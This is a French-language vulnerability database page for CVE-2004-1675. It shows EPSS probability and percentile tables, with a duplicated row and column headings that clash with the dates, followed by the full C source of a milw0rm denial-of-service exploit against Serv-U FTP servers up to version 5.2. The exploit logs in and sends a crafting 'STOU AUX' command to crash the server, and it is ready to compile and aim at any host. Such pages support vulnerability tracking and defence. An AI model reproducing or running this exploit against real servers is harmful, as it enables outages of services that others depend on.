CVE-2004-1675 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	5.33%	–
2024-01-28	–	–	–	4.65%	–
2024-06-02	–	–	–	4.65%	–
2024-12-22	–	–	–	1.47%	–
2025-01-12	–	–	–	1.47%	–
2025-01-19	–	–	–	1.47%	–
2025-03-18	–	–	–	–	8.98%
2025-03-30	–	–	–	–	10.87%
2025-03-30	–	–	–	–	10.87,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	92%
2024-01-28	92%
2024-06-02	93%
2024-12-22	86%
2025-01-12	87%
2025-01-19	87%
2025-03-18	92%
2025-03-30	93%
2025-03-30	93%

/* denial of service in Serv-u up to 5.2 str0ke@milw0rm.com - www.milw0rm.com Advisory: http://www.securitytracker.com/alerts/2004/Sep/1011219.html Ya its useless. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #define SERVER_PORT 21 usage(char *name) { printf("usage: %s -h hostname/ip -u user -p passwd\n",name); printf("\t\tstr0ke - Serv-U up to 5.2 Denial of Service\n"); exit(0); } main(int argc, char *argv[]) { char buffer[1000],host[255],user[255],pass[255],c; int sd, rc, i=0; struct sockaddr_in localAddr, servAddr; struct hostent *h; if ( argc < 3) { usage(argv[0]); } while ((c = getopt (argc, argv, "h:u:p:")) != EOF) switch(c) { case 'h': strncpy(host,optarg,sizeof(host)); break; case 'u': strncpy(user,optarg,sizeof(user)); break; case 'p': strncpy(pass,optarg,sizeof(pass)); break; } h = gethostbyname(host); if(h==NULL) { printf("unknown host '%s'\n",host); exit(1); } servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); servAddr.sin_port = htons(SERVER_PORT); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0) { perror("cannot open socket "); exit(1); } localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = htonl(INADDR_ANY); localAddr.sin_port = htons(0); rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr)); if(rc<0) { printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT); perror("error "); exit(1); } printf("Trying To Connect To [%s]\n",host); rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0) { perror("cannot connect "); exit(1); } printf("Trying Login With [%s]\n",user); snprintf(buffer,sizeof(buffer), "USER %s\r\n", user); rc = send(sd, buffer, strlen(buffer), 0); memset(buffer,0,sizeof(buffer)); while(1) { rc=recv(sd,buffer,sizeof(buffer),0); if(strstr(buffer,"331")) break; if(strstr(buffer,"421")) { printf("Access Denied on your arse..\n"); exit(0); } } printf("Sending Pass - [%s]\n",pass); memset(buffer,0,sizeof(buffer)); snprintf(buffer,sizeof(buffer), "PASS %s\r\n", pass); rc = send(sd,buffer, strlen(buffer), 0); while(1) { rc=recv(sd,buffer,sizeof(buffer),0); if(strstr(buffer,"230")) break; if(strstr(buffer,"421")) { printf("Access Denied on your arse..\n"); exit(0); } if(strstr(buffer,"530")) { printf("Access Denied: Login Incorrect!\n"); exit(0); } } memset(buffer,0,sizeof(buffer)); snprintf(buffer,sizeof(buffer), "STOU AUX\r\n"); rc = send(sd,buffer, strlen(buffer), 0); printf("Dos Sent\n"); if(rc<0) { perror("cannot send data "); close(sd); exit(1); } return 0; } // milw0rm.com [2004-09-13]